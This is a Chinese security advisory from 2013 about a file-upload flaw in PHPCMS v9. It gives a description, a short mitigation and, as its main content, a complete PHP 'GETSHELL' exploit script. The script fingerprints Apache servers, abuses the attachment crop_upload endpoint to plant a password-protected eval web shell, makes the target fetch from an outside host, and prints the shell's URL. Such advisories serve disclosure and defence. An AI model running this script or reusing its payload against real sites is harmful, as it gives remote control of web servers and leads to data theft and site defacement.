当前位置: 爱尖刀 > 首页安全 > 漏洞补丁 > 正文

PHPCMS v9 文件后缀提取错误代码上传漏洞

2013-3-19 23:02 浏览次数:1115 我来说两句(0)

 受影响系统:

PHPCMS Phpcms 9

描述:


PHPCMS网站管理系统是国内主流CMS系统之一。PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。

PHPCMS v9在实现上存在安全漏洞,对上传的文件后缀进行安全限制时,考虑不全,导致在Web服务器为Apache的情况下绕过安全限制。主要代码在文件\phpcms\libs\functions\global.func.php中的fileext函数进行文件后缀提取。攻击者可以通过该漏洞直接上传网站木马控制服务器,最终导致网站“脱库”、“挂马”等严重后果。

<*来源:n3wF
  
  链接:http://www.wooyun.org/bugs/wooyun-2013-019299
        http://www.jiasule.com/news/5135a60075db5c6ac700000a/
*>

测试方法:


警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

n3wF ()提供了如下测试方法:
<?php
error_reporting(E_ERROR);
set_time_limit(0);
$pass="ln";
print_r('
+---------------------------------------------------------------------------+
PHPCms V9 GETSHELL 0DAY 

code by L.N.

apache 适用(利用的apache的解析漏洞)
+---------------------------------------------------------------------------+
');
if ($argc < 2) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url path

Example: 
    1.php '.$argv[0].' lanu.sinaapp.com
    2.php '.$argv[0].' lanu.sinaapp.com /phpcms
+---------------------------------------------------------------------------+
');
exit;
}

$url = $argv[1];
$path = $argv[2];
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
if($ret=Create_dir($url,$path))
{
    //echo $ret;
    $pattern = "|Server:[^,]+?|U";
    preg_match_all($pattern, $ret, $matches);
    if($matches[0][0])
    {
        if(strpos($matches[0][0],'Apache') == false)
        {
            echo "\n亲!此网站不是apache的网站。\n";exit;
        }
    }
    $ret = GetShell($url,$phpshell,$path,$file);
    $pattern = "|http:\/\/[^,]+?\.,?|U";
    preg_match_all($pattern, $ret, $matches);
    if($matches[0][0])
    {
        echo "\n".'密码为: '.$pass."\n";
        echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
    }
    else
    {    
        $pattern = "|\/uploadfile\/[^,]+?\.,?|U";
        preg_match_all($pattern, $ret, $matches);
        if($matches[0][0])
        {
            echo "\n".'密码为: '.$pass."\n";
            echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
        }
        else
        {
            echo "\r\n没得到!\n";exit;
        }        
    }
}

function GetShell($url,$shell,$path,$js)
{
    $content =$shell;
    $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n"; 
    $data .= "Host: ".$url."\r\n";
    $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    $data .= "Connection: close\r\n";
    $data .= "Content-Length: ".strlen($content)."\r\n\r\n";
    $data .= $content."\r\n";
    $ock=fsockopen($url,80);
    if (!$ock) 
    {
        echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
    }
    else
    {
        fwrite($ock,$data);
        $resp = '';
        while (!feof($ock)) 
        {
            $resp.=fread($ock, 1024);
        }
        return $resp;
    }
}

function Create_dir($url,$path='')
{
    $content ='I love you';
    $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n"; 
    $data .= "Host: ".$url."\r\n";
    $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    $data .= "Connection: close\r\n";
    $data .= "Content-Length: ".strlen($content)."\r\n\r\n";
    $data .= $content."\r\n";
    $ock=fsockopen($url,80);
    if (!$ock) 
    {
        echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
    }
    fwrite($ock,$data);
    $resp = '';
    while (!feof($ock)) 
    {
        $resp.=fread($ock, 1024);
    }
    return $resp;
}
?>

建议:


临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

*可以暂时将文件phpcms\modules\attachment\attachments.php的第104行改为:

if(is_image($_GET['file'])== false || strpos(strtolower($_GET['file']),'.php')!==false) exit();

厂商补丁:

PHPCMS
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.phpcms.cn/



[广告]赞助链接:

知安,互联网产品安全医院:http://www.knowsafe.com
舆情监测,互联网舆情首选查舆情:http://www.chayuqing.com/
爱尖刀科技,关注企业数据与安全:http://www.ijiandao.com

关注公众号:Mcbang_com 了解更多精彩,关注:chayuqing_com 娱乐资讯早知道!
收藏 分享 发布者: admin |
看完这篇文章,你的感受如何?


伤心


无视


惊讶


流汗


赞同


路过
热点聚焦
更多>>
情凝中秋,乐在团圆 中秋节又称团圆节,是从古代至今,对远方亲人思念之情的体现;也是东方 ... [详细]
传递爱心 帮助需要的人 中国红十字已不能信任,民政系统变的自私,在这样的环境下,很多需 ... [详细]
【D盾】- 携手啊D共推《 [详细]
父亲节(Father's D 温家宝:父爱,如大海般深沉而宽广。 我们的力量出自与父亲,我们的 ... [详细]
祝高考学子凯旋而归 明后两天,高中三年的最后两天,也是将会影响命运的两天! 3年=1095天 ... [详细]

Archiver|网络尖刀 ( 京ICP备14006288号-3 )  

GMT+8, 2017-5-27 06:33 , Processed in 0.211403 second(s), 20 queries , Gzip On.

请勿发布违反中华人民共和国法律法规的言论
郑重声明:本站会员观点不代表【网络尖刀】论坛官方立场。

Copyright© 2006-2016 IjianDao.Com All rights reserved. 网络尖刀 版权所有

回顶部